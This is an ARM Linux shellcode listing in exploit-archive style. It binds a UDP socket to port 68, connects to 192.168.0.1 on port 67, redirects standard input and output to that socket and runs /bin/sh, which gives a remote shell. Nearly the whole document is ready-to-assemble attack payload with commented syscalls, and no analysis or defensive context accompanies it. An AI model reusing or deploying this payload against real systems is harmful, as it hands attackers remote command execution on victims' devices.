==============================================
linux/ARM - Bind Connect UDP Port 68 Shellcode
==============================================

/*
 * Title: arm-bind-connect-udp
 * Brief: Bind to port 68 on any local address and plug a udp shell
 *        onto to port 67 on 192.168.0.1
 * Author: Daniel Godas-Lopez <gmail account dgodas>
 */
 
.if 1
    /*
      close(3), close(4), ..., close(1024)
     */
 
    mov %r1, $1024
1:  mov %r0, %r1
    svc 0x00900006
    subs %r1, %r1, $1
    subs %r2, %r1, $3
    bpl 1b
.endif
 
    /*
      soc_des = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     */
 
    mov %r0, $2     /* AF_INET */
    mov %r1, $2     /* SOCK_DGRAM */
    mov %r2, $17        /* IPPRTOTO_UDP */
    push {%r0, %r1, %r2}
    mov %r0, $1     /* socket */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $12
 
    mov %r6, %r0        /* r6 = soc_des */
 
    /*
      bind(soc_des, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
     */
 
.if 0 /* r0 == r6 already */
    mov %r0, %r6        /* soc_des */
.endif
 
    mov %r1, $0x44000000
    add %r1, $2     /* port = 68, family = 2 (AF_INET) */
    sub %r2, %r2, %r2   /* addr = 0.0.0.0 */
    push {%r1, %r2}
    mov %r1, %sp        /* pointer to sockaddr_in */
    mov %r2, $16        /* sizeof(struct sockaddr_in) */
     
    push {%r0, %r1, %r2}
    mov %r0, $2     /* bind */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $20
 
    /*
      connect(soc_des, (struct sockaddr*) &cli_addr, sizeof(cli_addr));
     */
 
    mov %r0, %r6        /* soc_des */
 
    mov %r1, $0x43000000
    add %r1, $2     /* port = 67, family = 2 (AF_INET) */
    mov %r2, $0x1000000
    add %r2, %r2, $0xa800
    add %r2, $0xc0      /* addr = 192.168.0.1 */
    push {%r1, %r2}
    mov %r1, %sp        /* pointer to sockaddr_in */
    mov %r2, $16        /* sizeof(struct sockaddr_in) */
 
    push {%r0, %r1, %r2}
    mov %r0, $3     /* connect */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $20
 
    /*
      dup2(soc_cli,0);
      dup2(soc_cli,1);
      dup2(soc_cli,2);
     */
 
    mov %r1, $2
1:  mov %r0, %r6
    svc 0x0090003f
    subs %r1, %r1, $1
    bpl 1b
 
    /*
      execve("/bin/sh", parms, env);
     */
 
    sub %r1, %sp, $4    /* argv[0] = "sh" */
    sub %r2, %r2, %r2   /* argv[1] = 0x00000000 */
    mov %r3, $0x2f
    mov %r7, $0x62
    add %r3, %r7, lsl $8
    mov %r7, $0x69
    add %r3, %r7, lsl $16
    mov %r7, $0x6e
    add %r3, %r7, lsl $24   /* '/'  'b'  'i'  'n'  */
    mov %r4, $'/'
    mov %r7, $'s'
    add %r4, %r7, lsl $8
    mov %r7, $'h'
    add %r4, %r7, lsl $16   /* '/'  's'  'h'  0x00 */
    mov %r5, $'s'
    mov %r7, $'h'
    add %r5, %r7, lsl $8    /* 's'  'h'  0x00 0x00 */
 
    push {%r1, %r2, %r3, %r4, %r5}
 
    add %r0, %sp, $8    /* filename ptr */
    add %r1, %sp, $0    /* argv ptr */
    add %r2, %sp, $4    /* env ptr */
 
    svc 0x0090000b


# oz